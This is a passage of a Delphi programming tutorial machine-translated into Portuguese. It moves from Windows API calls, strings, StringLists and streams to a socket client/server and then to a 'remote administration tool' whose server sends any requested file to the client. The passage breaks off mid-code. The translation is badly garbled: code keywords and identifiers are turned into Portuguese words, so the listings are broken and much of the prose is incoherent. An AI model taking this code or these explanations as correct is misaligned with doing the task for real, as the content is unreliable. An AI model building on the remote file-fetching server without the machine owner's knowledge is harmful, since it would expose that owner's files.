Esta é uma coleção grande de funções de Windows escrita no C  

idioma que nos dá funcionalidade extra quando nós não podemos adquirir isto de  

o VCL. Você faria o que é chamado uma chamada de API a uma função você  

queira usar. Você faz isto da mesma maneira como você chamaria qualquer outro  

Delphi funcionam. Aqui é um exemplo de como você fecharia janelas  

usando o ExitWindowsEx função de API:  

ExitWindowSEx(EWX_FORCE ou EWX_SHUTDOWN, 0);  

Aquela chamada fechará o Windows. Deveria ser usado como último recurso  

como pudesse danificar dados potencialmente. Dê uma olhada na Microsoft  

Fomentador Network: www.msdn.microsoft.com - e procura:  

ExitWindowsEx. Eu mencionarei que outro API chama como nós vimos os usar.  

PCHARS:  

Se nós queremos usar fios em Windows funciona nós precisamos usar o que é  

chamado um PChar. Você vê o Windows foi escrito na programação de C  

idioma que não tem o tipo de dados de fio no que nós fazemos  

Conteste Pascal. Usa uma ordem de caráter como um fio. Ao fim  

da ordem de caráter há um zero (terminator nulo: 0) para  

marque o fim do fio de caráter. Às vezes em Delphi, nós podemos  

está trabalhando com um Windows função de API da que requer uma ordem  

caráter como um parâmetro. Nós há pouco não poderíamos passar isto um  

amarre, ao invés, nós usaríamos um PChar. Aqui é um exemplo usando o  

Windows CopyFile chamada de API:  

COPYFILE(PCHAR (' C:\FILE.BMP '), PCHAR (' C:\FOLDER\FILE.BMP '), VERDADEIRO);  

Novamente, tente procurando para cima CopyFile na Microsoft Fomentador Network  

mais informações sobre este API funcionam.  
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VARIÁVEIS GLOBAIS:  

As variáveis que nós temos usado tão longe foram variáveis locais.  

Eles são locais ao procedimento declarado dentro, então se você tivesse dois  

procedimentos, você não poderia usar variáveis declaradas dentro o  

primeiro procedimento no segundo procedimento. Aqui é um exemplo para  

ilustre, há pouco ponha dois Botões em uma forma e um Memorando:  

procedimento TForm1.Button1Click(Sender: TObject); var  

StrVar: fio; comece  

StrVar := ' Fio nomeou ao StrVar' variável local;  

Memo1.Lines.Add(StrVar); fim;  

Isso trabalhará bom, como StrVar é declarado local a este procedimento.  

Se nós tentássemos fazer o seguinte em nosso Button2 evento de OnClick:  

procedimento TForm1.Button2Click(Sender: TObject); comece  

StrVar := ' deixa nomeie isto ao instead' de fio;  

Memo1.Lines.Add(StrVar); fim;  

Nós adquiriríamos um compile declaração de erro: Identifier de Undeclared: ‘STRVAR '.  

Nos deixe declarar StrVar então global (I.E–assim todo procedimento pode usar  

isto). Você faz isto na seção privada de sua Unidade. Assim tire a seção de var de seu Button1 OnClick evento código e ao invés, ponha o  

Declaração de StrVar na seção privada assim:  

privado  

{Declarações privadas}  

StrVar: fio;  

Agora compile que e testa seus Botões. Você verá você pode usar o  

variável em qualquer procedimento agora como é global, não local.  

STRINGLISTS:  

Isto pode ser pensado de como uma ordem de fios mas com somou  

características. É o que é chamado um Objeto e nós usamos isto assim:  

procedimento TForm1.Button1Click(Sender: TObject); var  

SL: TStringList; comece  

SL := TStringList.Create; / / Isto é como você cria a Lista  

SL.Add (' UM fio acrescentou ao list');  

SL.Add (' Outro fio acrescentou ao list');  

Memo1.Lines.Add(SL.Text);  

SL.Free; / / Aqui nós livramos isto de memória  

fim;  

Assim nós declaramos isto então que nós criamos isto como mostrado. Nós podemos acrescentar fios a isto  

com o método de .Add, mas quando nós terminamos usando isto, nós deveríamos usar  

o método de .Free para livrar isto de memória de computador.  

A propósito–ignore o ‘T ' mordeu, isto está dizendo que há pouco é um Objeto  

mas você não precisa saber que para agora. Aqui são algumas outras coisas  

você pode fazer com um StringList:  
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.Sort: Isto ordenará o StringList alfabeticamente.  

.Clear: Clareia os conteúdos de um StringList. Não confunda com Livre.  

.Count: UM método do que devolve um valor de inteireza do número  

fios na lista.  

.IndexOf: Lucros o índice da primeira ocorrência de um fio em um  

StringList. É zero-baseado, assim se o fio para o que nós estávamos olhando  

sido o primeiro fio no StringList, seriam devolvidos 0. Se o  

fio não é achado na lista –1 é devolvido.  

.LoadFromFile: Isto preenche a lista com os conteúdos de um texto  

arquivo fundado.  

Eles há pouco são lá agora para referência para. Você poderia usar a ajuda,  

confirme os exemplos e é se familiarizado com eles se você gostar–mas  

como nós os encontramos que nós entraremos por eles em mais detalhe.  

TENTE ..EXCEPT:  

Este tipo de declaração é um modo de manipulação de exceção. Pense atrás para  

nosso programa onde nós tivemos um Edite caixa e um Botão, e quando nós  

clicado nosso Botão conferiu se o valor no Edite era  

maior que 10. Era um se, então, outro exemplo. Nós estávamos fazendo um  

chame à função de StrToInt, e se nós tivéssemos algo dentro nosso Edite  

isso não converteu a uns dados de inteireza digite, então o Windows exibiu  

um erro. Superar estes erros de nos se aparecer podem mudar o  

uso de código a prova ..except ..end; declaração assim:  

procedimento TForm1.Button1Click(Sender: TObject); var  

i: inteireza; comece  

tente {...TRY tudo aquilo ESTÁ ENTRE AQUI...}  

i := StrToInt(Edit1.Text); se i> 10 então  

comece  

Memo1.Lines.Add (' O valor em Edit1 é maior que 10. '); fim  

outro comece  

Memo1.Lines.Add (' O valor em isnt de Edit1 maior que 10. '); fim; exclua {...AND HERE...}  

Memo1.Lines.Add (' havia um erro. '); fim; {SE NÃO PODE FAZER ALGO–EXECUTE MENOS BLOCO}  

fim;  

Isso deveria ser compreensível. Há pouco responde pelo fato que nós  

não queira a mensagem de Windows que se aparece. Se não pode fazer algo  

na prova menos bloco, como a StrToInt função chamada, então o  

exceção é executada ao invés - entre o salvo e fim;  

A PROPRIEDADE DE NOME:  

Nós usamos a falta nomeia tão longe de nossos componentes, como  

Edit1 etc. Você pode porém, mude o nome do componente usar  

a propriedade de Nome. Derrube um Memorando em sua Forma e mude seu nome para  

MyMemo. Agora se você quisesse trabalhar com aquele Memorando que você teria  

use o nome que nós nomeamos a isto. Por exemplo:  

MyMemo.Lines.Add(‘Add isto para o Memorando ');  
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FLUXOS DE ARQUIVO E FLUXOS DE MEMÓRIA:  

Delphi lhe permite usar Objetos de fluxo especiais para ler ou escrever um  

médio de armazenamento como um disco. O TFileStream lhe permite trabalhar  

com arquivos e o TMemoryStream lhe permite armazenar dados dentro dinâmico  

memória. Coloque 2 Memorandos, e um Botão em você Forma. Aqui é o Botão  

Evento de OnClick:  

procedimento TForm1.Button1Click(Sender: TObject); var  

MemStream: TMemoryStream; comece  

MemStream := TMemoryStream.Create;  

Memo1.Lines.SaveToStream(MemStream);  

MemStream.Position := 0;  

Memo2.Lines.LoadFromStream(MemStream);  

MemStream.Free; fim;  

O que nós estamos fazendo aqui está declarando um TMemoryStream chamado MemStream  

na seção de var. Então nós estamos criando o Objeto de MemoryStream  

(.Create). Nós estamos dizendo então economize todos os dados em nosso Memo1 no  

MemStream (isto economiza os dados como memória dinâmica em seu sistema–  

CARNEIRO). Agora nós fixamos o *Position * propriedade atrás para o começo do  

nosso MemStream. Nós usamos o método de LoadFromStream e carregamos os conteúdos  

de nosso MemStream em nosso Memo2 e finalmente, livre nosso TMemoryStream  

Objeto.  

Você precisa livrar Objetos de Memória assim não desperdiçar Memória  

recursos.  

*Position * - Esta propriedade pode ser usada para obter a posição atual  

em byte número desde o princípio dos dados fluídos. É  

importante fixar a posição a 0 se nós queremos trabalhar com dados de  

o começo para o fim dos dados fluídos.  

Não preocupe muito se você não agarrou isso. Confira a ajuda para  

mais, e você verá outros exemplos como nós trabalhamos durante este papel.  

TCP/IP:  

Um protocolo é basicamente um jogo de regras que permitem comunicação  

entre dois dispositivos. TCP/IP é uma abreviação para a Transmissão  

Controle Protocolo de Protocol/Internet. O IP protocolam transações com  

pacotes e o TCP permite dois anfitriões a estabelecer uma conexão para  

a transferência de dados em cima daquela conexão. Nós escreveremos nosso  

aplicação que usa este protocolo, como está seguro e facilmente  

implementado.  

CRIANDO UMA APLICAÇÃO DE CLIENT/SERVER:  

Comece dois exemplos de Delphi. Nós usaremos um para o Cliente e um  

para o Servidor. Aba para sua primeira cópia de Delphi e muda o  

A legenda de forma para Cliente de ‘'. Agora aba para a segunda cópia de Delphi e  

mude a legenda da Forma a Servidor de ‘'. Quando eu me refiro a seu Cliente, eu,  

estará falando sobre a cópia de Delphi que você tem aberto com que você  

está trabalhando na Forma de Cliente, e vice-versa.  

Se você dá uma olhada debaixo da aba de Internet de sua Paleta de Componente–  

você verá um ClientSocket e componentes de ServerSocket [SE USANDO  

DELPHI 7, VEJA PÁGINA 51 PARA ATUALIZAÇÕES]. Lugar o componente de ClientSocket  
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em sua Forma de Cliente, e o ServerSocket em sua Forma de Servidor. O deles/delas  

posicionando não importa como eles não mostrarão em runtime–eles  

é componentes invisíveis.  

O CLIENTE:  

Coloque 2 Editam caixas, 2 Botões, e um Rótulo em sua Forma. Mude o  

Propriedade de texto de seu Edit1 para ‘127.0.0.1 ' (seu IP local). Mudança  

A propriedade de Legenda de Button1 para ‘&Connect ' (o ‘& sinal de ' criará um  

atalho para aquele Botão da primeira carta). Mudança Button2  

Legenda para ‘&Disconnect ' e muda o legenda de seu Rótulo a ‘Not  

' conectado. Apague o texto no propriedade de Texto de seu Edit2.  

Agora, faça tique-taque em seu componente de ClientSocket e mude o porto  

propriedade para ‘55555 ' (poderia ser qualquer porto que você deseja contanto que não faça  

esteja em conflito com outros números de porto, I.E–porto 80 é usado para HTTP assim  

não use aquele porto etc). O evento de OnClick para você Conecta Botão:  

procedimento TForm1.Button1Click(Sender: TObject); comece  

ClientSocket1.Address := Edit1.Text;  

ClientSocket1.Active := Verdadeiro; fim;  

Aqui nós estamos fixando o propriedade de Endereço de nosso ClientSocket com o Texto  

em nosso Edit1. A propriedade de Endereço é onde o IP para o que você deseja  

conecte iria. Secundariamente nós estamos fixando a propriedade Ativa para  

Verdadeiro–quais meios que tentará conectar ao Porto e Endereço  

propriedades que nós especificamos.  

Nós sabemos quando nós estabelecemos uma conexão porque o OnConnect  

Evento de ClientSocket é incendiado. Crie o evento e ponha isto dentro:  

procedimento TForm1.ClientSocket1Connect(Sender: TObject;  

Cova: TCustomWinSocket); comece  

Label1.Caption := ' Conectado! ';  

Button1.Enabled := Falso;  

Button2.Enabled := Verdadeiro; fim;  

A propriedade Habilitada incapacita ou habilita o componente adequadamente  

(você verá a runtime). Nosso Desconecte Botão:  

procedimento TForm1.Button2Click(Sender: TObject);  

comece  

ClientSocket1.Active := Falso; fim;  

Isso desconectará da conexão. ClientSocket tem um evento  

OnDisconnect chamado que unsurprisingly é despedido quando nós desconectamos:  

procedimento TForm1.ClientSocket1Disconnect(Sender: TObject;  

Cova: TCustomWinSocket); comece  

Label1.Caption := ' Disconnected';  

Button1.Enabled := Verdadeiro;  

Button2.Enabled := Falso; fim;  

Agora para nosso Edit2. Crie um evento de OnKeyDown para isto e faça:  
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procedimento TForm1.Edit2KeyDown(Sender: TObject; var Teclam: Palavra;  

Troca: TShiftState); comece  

se (Chave = VK_RETURN) então  

comece  

ClientSocket1.Socket.SendText(Edit2.Text); fim;  

fim;  

Este evento será incendiado cada tempo você aperta um tempo fundamental que você é  

cursor está na caixa de Edit2, e cada tempo conferirá isto  

condição: se (Chave = VK_RETURN) - Isso executará o que é  

entre seu comece e termine; se a chave é VK_RETURN–que é um  

Código de Chave virtual para o Entre em Chave. Assim nós estamos dizendo se você aperta  

entre enquanto seu cursor estiver na caixa de Edit2, então envie o texto dentro  

o Edit2 encaixotam ao anfitrião para o que nós somos conectados.  

ClientSocket1.Socket.SendText () faz isto.  

O SERVIDOR:  

Coloque um Botão e um Rótulo em sua Forma. Fixe o Porto do ServerSocket  

propriedade para ‘55555 '–precisa ser o mesmo porto como seu Cliente.  

Mude o Legenda de seu Rótulo para: ‘que não serve no momento ', e  

mude o Legenda de seu Botão para: ‘&Listen para conexões '.  

OK, agora crie o OnClick evento manipulador para seu Botão e faça:  

procedimento TForm1.Button1Click(Sender: TObject); comece  

ServerSocket1.Active := Verdadeiro;  

Label1.Caption := ' Escutando para conexões. '; fim;  

Aqui nós estamos fixando a propriedade Ativa do ServerSocket para Retificar que  

abre o Porto que você especificou como escutando. Isto é oposto para nosso  

A propriedade Ativa de ClientSocket que tentará conectar a um anfitrião.  

Crie um evento de OnClientRead para seu ServerSocket que será  

incendiou quando algo é erudito do cliente–quando recebe alguns  

dados do cliente. Faça se parecer:  

procedimento TForm1.ServerSocket1ClientRead(Sender: TObject;  

Cova: TCustomWinSocket); comece  

Label1.Caption := Socket.ReceiveText; fim;  

Nós estamos nomeando há pouco a Legenda do Rótulo com Socket.ReceiveText,  

que é um método que lê texto recebido da conexão.  

Corrija, agora salve seu cliente em uma pasta de papéis separada (POR EXEMPLO: c:\client) e  

o servidor em outra pasta de papéis (POR EXEMPLO: c:\server). Compile cada, e  

os testa.  

Você não poderá conectar ao servidor a menos que esteja escutando,  

o qual você habilita clicando seu Botão. Agora você pode conectar a isto–  

se está em seu computador ou em um computador de networked, só ponha  

no IP da máquina é em e clica Conecte. Digite algum texto  

no espaço em branco Edite caixa (nosso Edit2) e imprensa entra. Isto enviará  

isto para o servidor que exibirá isto usando a Legenda de Rótulo.  
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SEÇÃO PRINCIPAL.  

Nesta seção eu explicarei coisas novas como eles semeiam para cima, mas tópicos  

coberto na seção do novato não será coberto dentro grande  

detalhe. Cada subtítulo conterá funcionalidade nova à que você pode acrescentar  

sua aplicação. Se lembre, eu estou há pouco lhe dando a informação aqui  

de um modo de como fazer coisas. Por todos os meios se expanda nisso, some seu  

próprias idéias e programa isto para vestir suas próprias necessidades.  

- PROGRAMANDO NOSSA FERRAMENTA DE ADMINISTRAÇÃO REMOTA -  

Abra duas cópias de Delphi. Nós usaremos um para o trabalho no Cliente  

lado de nossa aplicação e o outro para trabalho em nosso Servidor. Aba para  

sua primeira cópia de Delphi e muda a legenda da Forma a Cliente de ‘–  

Nenhuma Conexão '. Agora aba para a segunda cópia de Delphi e muda o  

A legenda de forma para Servidor de ‘'. Quando eu me referir a seu Cliente, eu serei  

falando sobre a cópia de Delphi você têm aberto com que você é  

trabalhando na Forma de Cliente, e vice-versa.  

Derrube um componente de ClientSocket em sua Forma de Cliente e derrube um  

Componente de ServerSocket em sua Forma de Servidor. Fixe o Porto de ambos  

covas para o porto você gostaria de sua aplicação para correr em. A  

este ponto, economize ambas as partes de sua aplicação em dois separe  

pastas de papéis.  

O CLIENTE:  

Coloque um Edite, um Memorando, e dois Botões em sua Forma. Mude o nome  

de seu Edite a ‘IPBox ' e você poderia mudar sua Legenda ao IP de  

a máquina você estará conectando para testando (talvez: 127.0.0.1).  

O Legenda de seu primeiro Botão deveria ser mudada a ‘&Connect ' e o  

segundo: ‘&DISCONNECT '.  

Ponha isto em suas Formas Evento de OnCreate:  

Memo1.Clear;  

Isso é porque através de falta nosso Memorando terá ‘Memo1 ' escrito nisto.  

Nós não precisamos isso exibido assim nós removeremos isto quando nossa aplicação  

começos.  

Deixa faça nosso Conecte Botão faça algo. Nós queremos usar exceção  

controlando aqui com a prova ..except, porque se o usuário põe dentro  

algo que não é um IP, o Windows exibirá um erro. Assim pôs  

isto em seu evento de OnClick:  

prova  

ClientSocket1.Address := IPBox.Text;  

ClientSocket1.Active := Verdadeiro; exclua  

Memo1.Lines.Add (' * * Erro que Conecta. '); fim;  

Eu gosto da idéia de mudar para a legenda de Forma quando você conecta goste  

isto (evento de OnConnect):  

Form1.Caption := ' o Cliente - Conexão Established';  

E para o OnDisconnect: Form1.Caption := ' o Cliente - Nenhum Connection';  

Você também poderia acrescentar uma linha a seu Memorando se você gostar (da mesma maneira  

como faz Tron).  
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Realmente, você há pouco precisa de um modo de saber quando você conectou e  

desconectado. Você quer seu Desconecte Botão para desconectar de fato  

do anfitrião usando este código: ClientSocket1.Active := Falso;  

Se você gostar, você poderia acrescentar uma linha ao Memorando que diz ‘Connecting.. '  

ou algo. Há pouco faça isto no ClientSocket evento de OnConnecting.  

Agora se seu Cliente não pode conectar ao servidor por qualquer razão,  

o OnError que evento de ClientSocket será despedido. Agora se você não tem  

criado este evento você adquirirá a Windows mensagem caixa velha que nós  

queira realmente evitar. Se você faz isto no evento de OnError..:  

Memo1.Lines.Add (' * * Erro: ' + IntToStr(ErrorCode));  

ErrorCode := 0;  

..Then o que é chamado um ErrorCode será acrescentado ao invés ao Memorando.  

Um ErrorCode é há pouco um código gerado de qual o número de código  

indica o tipo de erro que aconteceu. Fixando o ErrorCode para  

0 como nós fizemos on-line dois, paradas o Windows erro mensagem popup.  

Outra idéia é incapacitar seu Desconecte Botão (Habilitou propriedade  

fixe para Falso) a desígnio-tempo e então habilita isto quando você conectar. Você  

possa achar um exemplo disto na seção de Cliente de: CRIANDO UM  

APLICAÇÃO DE CLIENT/SERVER (SEÇÃO DE NOVATOS).  

O SERVIDOR:  

Se lembre de fixar seu Porto de Servidor para igual a seu Porto de Cliente. Agora  

se você muda o ServerSocket propriedade Ativa para Retificar aqui, a  

runtime seu servidor começará serviço (escutando para conexões)  

o minuto você corre isto. Assim faça que e então compila cada lateral de seu  

aplicação e teste. OK não fará muito, mas lhe permite fazer  

seguramente você codificou isto corretamente. Seguir são uma lista de características você  

possa incluir em sua aplicação. Os resolva na ordem deles/delas.  

- COMO CARREGAR UM ARQUIVO DO SERVIDOR -  

O LADO DE CLIENTE:  

Coloque dois Editam caixas, um Botão, e um ProgressBar em sua Forma. Você  

possa achar um ProgressBar debaixo da aba de Win32 da Paleta de Componente.  

Chame (mudança a propriedade de Nome) seu primeiro Edita ‘ToDownload ' e chamada  

seu segundo Edita ‘DownloadAs '. Claro cada propriedade de Texto.  

Você poderia querer pôr um par de Rótulos em sua Forma indicar  

que Editam caixa é que. Mude o nome do ProgressBar a PBar e  

mude o legenda de seu Botão a ‘D&ownload ' (& antes do o, porque  

nós já temos &D). O Carregue o código de OnClick de Botão:  

se ClientSocket1.Active então {Se nós somos conectados a um anfitrião}  

comece  

RemoteFile := ToDownload.Text;  

StoredLocalAs := DownloadAs.Text;  

ClientSocket1.Socket.SendText (' <REQSTFILE> ' + RemoteFile); fim;  

Você precisará declarar RemoteFile e StoredLocalAs, como global  

amarre variáveis. Global, porque mais tarde nós estaremos os usando dentro  

outros procedimentos. A linha de SendText estará enviando algo como  

isto para o servidor: <REQSTFILE>c:\file.txt–eu usei c:\file.txt como  

um exemplo, mas deveria estar claro ver que isto.

O LADO DE SERVIDOR:  

Agora você não pode usar há pouco ReceiveText aqui no evento de OnClientRead de  

seu ServerSocket. Que só tem a capacidade de receber Texto  

(fios) - nós precisamos poder receber outros tipos de aswell de dados.  

Se você faz o OnClientRead evento olhar de seu ServerSocket assim:  

procedimento TForm1.ServerSocket1ClientRead(Sender: TObject;  

Cova: TCustomWinSocket); var  

Buf: fio;  

MsgLen, {A vírgula é há pouco um modo de declarar dois inteirezas}  

LenReceived: inteireza; {EG: int1,int2,int3: inteireza; }  

comece  

{1} MsgLen := Socket.ReceiveLength;  

{2} SetLength (Buf, MsgLen);  

{3} LenReceived := Socket.ReceiveBuf (Buf[1], MsgLen);  

{4} Buf := Cópia (Buf, 1, LenReceived); fim;  

Eu passarei por cada linha que corresponde de cada vez aos numeraram  

comentários nos que eu pus.  

1. nós estamos nomeando MsgLen com a quantia de bytes pronto ser enviado  

em cima da conexão. Nós fazemos isto usando a função de ReceiveLength.  

Nota que ReceiveLength só é aproximado–nós poderíamos receber menos  

dados que ReceiveLength devolveu.  

2. Will vai precisar de um pára-choque (lugar em memória para armazenar o  

dados entrantes) grande bastante para armazenar os dados entrantes. Nós fazemos isto por  

fixando o comprimento de fio de nosso Buf pelo tamanho dos dados isto é  

sobre receber.  

3. aqui nós estamos usando o ReceiveBuf funcionam para ler até o segundo  

quantia de parâmetro de bytes em Buf. O segundo parâmetro (MsgLen)  

indica como grande o Buf é. Esta função também devolve quanto  

bytes eram realmente eruditos, assim LenReceived igualará esta quantia.  

4. isto terá certeza o fio de Buf só é tão grande quanto necessário.  

Diga ReceiveLength devolveu 80 bytes aproximadamente ser enviado - então o Buf  

seria fixado comprimento lá a 80 por ponto 2. Nós só poderíamos ter  

recebido 60 bytes aqui em um vá, e nosso LenReceived segurará um  

valor de inteireza desta quantia que nós recebemos. Nós há pouco precisamos aparar  

fora qualquer excesso comprimento de Buf com Cópia (), copiando de 1 (começando de  

Buf) para o comprimento dos dados de fato recebido (LenReceived).  

‘Buf ' conterá os dados que chegaram. Neste caso vai Buf  

igual: <REQSTFILE>c:\file.txt–se havia que um ‘c:\file.txt ' digitou  

no ToDownload Edit de nosso Cliente e nosso Carregue Botão clicado.  

Tudo que nós precisamos fazer são corridos um cheque naquele Buf para ver se houver nosso  

<REQSTFILE> em lá. Eu usei que como como uma etiqueta assim nós podemos ver isso que  

o Cliente quer que nós façamos. Aqui é como nós poderíamos conferir:  

se Pos (' <REQSTFILE> ', Buf) = 1 então  

comece  

Delete(Buf, 1, 11); {Apague a etiqueta: <REQSTFILE>}  

RequestedFile := Buf;  

SendClientFile; fim;  
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Se lembre de Pos ()–devolverá número 1 se achar ‘<REQSTFILE> ' em  

nosso Buf amarram–e assim executa seu bloco de código abaixo. Agora, primeiro nós  

apague a etiqueta de nosso Buf com o qual deixará isto só o arquivo  

nome. Então nós nomeamos uma variável de fio global (o qual você vai  

obviamente tenha que declarar) ‘RequestedFile ' com os conteúdos de Buf.  

Então nós chamamos um procedimento SendClientFile. Isto vai ser nosso próprio  

procedimento e se parecerão:  

procedimento TForm1.SendClientFile; var  

TheFileSize: inteireza;  

FS: TFileStream; comece  

se FileExists(RequestedFile) então {1}  

comece  

prova  

FS := TFILESTREAM.CREATE(REQUESTEDFILE, FMOPENREAD); {2}  

FS.Position := 0; {3}  

TheFileSize := FS.Size; {4}  

ServerSocket1.Socket.Connections[0] .SendText {5}  

(' <FILEONWAY> ' + INTTOSTR(THEFILESIZE) + ' | ');  

ServerSocket1.Socket.Connections[0] .SendStream(FS); {6}  

exclua  

ServerSocket1.Socket.Connections[0] .SendText {7}  

(' <ERROROCRD>Can não enviam. '); fim; fim  

outro comece  

ServerSocket1.Socket.Connections[0] .SendText {8}  

(' <ERROROCRD>File não existe. '); fim; fim;  

Poderia olhar um pequeno amedrontando à primeira vista, mas eu tenho labelled  

cada das declarações com um número e seguir é uma explicação:  

1. este é há pouco um modo mais curto de fazer se FileExists(RequestedFile) =  

Retifique então.. Assim nós estamos conferindo se o RequestedFile existe.  

2. isto é como você cria um Objeto de TFileStream. Você faz isto dentro muito o  

mesmo modo como você cria um Objeto de TMemoryStream, porém você precisa  

crie um exemplo do arquivo que você vai estar trabalhando com a  

este ponto. Você faz isto passando o nome de arquivo como o primeiro  

parâmetro (RequestedFile em nosso caso). O próximo parâmetro requer um  

modo de como nós vamos estar usando este arquivo. fmOpenRead está dizendo  

nós queremos abrir o arquivo por só ler (nós não vamos escrever  

qualquer coisa para este arquivo). Se você inspeciona a ajuda TFileStream.Create -  

você pode achar uma lista dos outros modos que você pode usar.  

3. fixando a propriedade de Posição a 0 assim nós podemos trabalhar do  

começando do TFileStream.  

4. FS.Size devolve o tamanho atual do nosso FS como um valor de inteireza  

e aqui nós estamos nomeando TheFileSize com aquele valor. Note que eu tenho  

chamado isto TheFileSize e não FileSize, porque FileSize é o nome  

de uma função de Delphi. Tenha cuidado você não chama uma variável um nome  

reservado para uma rotina ou uma palavra chave.  

5. isto é como você há pouco envia texto do ServerSocket ao invés de  

ClientSocket1.Socket.SendText () como nós podemos fazer no lado de Cliente.  
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Nós estamos enviando algo como este fio: <FILEONWAY>1080 | - o qual  

faça sentido mais quando nós voltarmos a nosso lado de Cliente (em um  

enquanto).  

6. isto é como nós enviamos nosso TFileStream em cima da conexão de cova.  

Note nós não livramos o FileStream. Isto é porque o método:  

SendStream - livrará os dados de fluxo quando terminou enviando.  

7. não esqueça nós estamos em uma prova declaração de ..except–Assim se qualquer coisa  

dá errado e uma exceção é elevada, nós enviaremos uma mensagem de erro  

para o Cliente (nós viremos que mais tarde o lado de Cliente).  

8. isto é o outro do se FileExists () condição. O programa  

será dirigido fluxo a aqui se o arquivo não existir.  

A propósito, não esqueça de declarar este procedimento como normal.  

ATRÁS PARA NOSSO LADO DE CLIENTE:  

Nós precisamos escrever para um OnRead evento manipulador aqui para receber este arquivo.  

Em primeiro lugar, nós escreveremos alguns declarações para receber os dados como nós  

feito em nosso evento de OnClientRead do lado de Servidor:  

procedimento TForm1.ClientSocket1Read(Sender: TObject;  

Cova: TCustomWinSocket); var  

Buf: fio;  

MsgLen,  

LenReceived: inteireza; comece  

MsgLen := Socket.ReceiveLength;  

SetLength (Buf, MsgLen);  

LenReceived := Socket.ReceiveBuf (Buf[1], MsgLen);  

Buf := Cópia (Buf, 1, LenReceived); fim;  

Neste momento, eu preciso introduzir um conceito novo. Se você pensa de nosso  

Cliente como tendo 2 estados (ou colocações): Um estado inativo, e um  

estado de arquivo receptor. No momento nosso Cliente está em um estado inativo–  

não fazendo nada, há pouco se sentando ao redor de esperar por instrução. Quando isto  

recebe uma instrução do Servidor que diz que está a ponto de enviar isto  

um arquivo, precisa mudar seu estado em um estado de arquivo receptor.  

Você poderia pensar nisto como tendo dois interruptores, o ser de interruptor em um  

posição inativa - então o Servidor fala isto estará recebendo um arquivo,  

e assim o interruptor é sacudido na posição de arquivo receptora. Agora  

como implementar este conceito de interruptor:  

Debaixo de sua seção de tipo, ponha esta linha:  

tipo  

TClientStatus = (CSIdle, CSReceivingFile); {esta linha}  

TForm1 = class(TForm) {logo antes aqui}  

Agora em sua seção privada (variáveis globais), ponha esta declaração:  

CState: TClientStatus;  

OK, agora quer dizer que você quer fazer, quando sua aplicação começar, tenha  

seu CState (estado de Cliente) jogo para estar ocioso. Acrescente esta linha a OnCreate:  

CState := CSIdle;  
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Mantendo com este conceito que terá a intenção interruptor de estar ocioso.  

NOTA: Os nomes dos estados poderiam ter sido qualquer coisa e assim pôde  

CState ou o tipo que nós definimos: TClientStatus.  

Se você olhar atrás para seu Servidor, você verá a primeira coisa que envia  

para nós (para o Cliente) é esta linha:  

<FILEONWAY>23424 |  

Eu pus aquele número em lá como um exemplo. Na verdade será  

enviando o tamanho do arquivo nós pedimos. Assim o que nós precisamos fazer  

é cheque para isto <FILEONWAY> etiqueta como nós fizemos no lado de Servidor. Ponha  

isto em seu evento de OnRead (debaixo do código já em lá):  

se Pos (' <FILEONWAY> ', Buf) = 1 então  

comece  

prova  

{1} FS := TFileStream.Create(StoredLocalAs, fmCreate ou fmOpenWrite);  

{2} TheFileSize := StrToInt (Copy(Buf, 12, Pos (' | ', Buf)-12));  

{3} Delete(Buf, 1, Pos (' | ', Buf));  

{4} PBar.Max := TheFileSize;  

{5} CState := CSReceivingFile; exclua  

{6} FS.Free;  

Memo1.Lines.Add (' * * Erro que carrega arquivo como ' + StoredLocalAs); fim;  

fim;  

Você precisará declarar TheFileSize como uma variável de inteireza global e  

FS como uma variável de TFileStream global, POR EXEMPLO:  

privado  

{Declarações privadas}  

TheFileSize: inteireza;  

FS: TFileStream;  

Nós declaramos este global porque caso contrário cada tempo nosso evento de OnRead  

é chamado (que será muito), eles seriam criados (escrito  

memória dinâmica) que seria muita memória que escreve por nenhuma razão.  

Novamente, eu tenho referenced cada declaração:  

1. nós criamos nosso TFileStream primeiramente (FS) como nosso StoredLocalAs  

variável–se lembre da variável de fio da que nós nomeamos os conteúdos  

nossa caixa de DownloadAs. Nós estamos usando os modos fmCreate de ‘ou fmOpenWrite '  

o qual se você confere que a ajuda há pouco está dizendo crie, ou se isto  

já existe, abra por escrever (assim nós escreveremos em cima disto).  

2. nós estamos nomeando a parte de tamanho do Buf então: <FILEONWAY>23424 |  

- O pedaço em tipo negrito, para TheFileSize. Nós fazemos isto por vários rotina  

chamadas como mostrado. Aqui está abaixo a fratura:  

Atualmente Buf = ‘<FILEONWAY>23424 | '  

Se lembre da Cópia () função? –Nós estamos dizendo cópia de 12 (o qual se  

você conta, 12 são o primeiro caráter de nosso tamanho mordeu) para o índice de  

‘| ' (o qual Pos () lucros)–12. No exemplo aqui, Pos () vá  

devolva 17 como isso é o índice de ‘| ', conte.  
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Agora, Cópia () cópias de um Índice então até vários caráter  

especificado. Assim se nós deixássemos isto assim que copiaria de 12 e então  

tente contar 17 passos adiante no fio. Bem nós precisamos para menos  

o comprimento de ‘<FILEONWAY> ' que é 11, e não esquece do ‘| '  

que faz isto menos 12. Tão agora, o segundo parâmetro que nós estamos passando  

aqui para Copiar () é a quantia de caráter no tamanho mordeu (mordeu dentro  

tipo negrito) de nosso fio.  

Finalmente, nós há pouco levamos o resultado inteiro e passamos isto a StrToInt assim nós  

é partido com um valor de inteireza.  

Se você está desejando saber por que nós usamos o ‘| símbolo de ' no fim e não  

há pouco faça Length(Buf) adquirir o último parâmetro de Cópia () - isto é  

porque embora o Servidor está enviando este fio, enviando então o  

dados do arquivo, nós poderíamos receber este fio e um pedaço grosso do  

arquive dados em um envie. Assim nós precisamos algo a referência. Aqui é um  

exemplo do que nós poderíamos receber do Servidor:  

<FILEONWAY>23424|%1*01%%11*%101*1%%10 *  

O pedaço em tipo negrito há há pouco meu modo de mostrar dados de arquivo. Você vê nós  

possa receber um pedaço grosso tudo de uma vez assim.  

4. isso está fixando para o Max propriedade de nosso PBar para o tamanho do  

arquive nós estamos a ponto de receber. Se você não sabe o que um ProgressBar é,  

você saberá quando você corre seu Cliente, assim não preocupa agora para.  

5. agora nós fixamos nosso interruptor a CSReceivingFile (entre para em um minuto).  

6. se qualquer coisa dá errado, livra o fluxo e deixou o usuário saber.  

Agora que nós fixamos que nosso CState trocam a CSReceivingFile, nós precisamos  

escreva para algum código o testamento receba e escreva o arquivo. Ainda trabalhando  

com nosso evento de OnRead de seu ClientSocket, ponha neste código:  

caso CState de {1}  

CSReceivingFile: {2}  

comece  

prova  

PBar.StepBy(Length(Buf)); {3}  

FS.Write(Buf[1], Length(Buf)); {4}  

Dec(TheFileSize, Length(Buf)); {5}  

se TheFileSize = 0 então {6}  

comece  

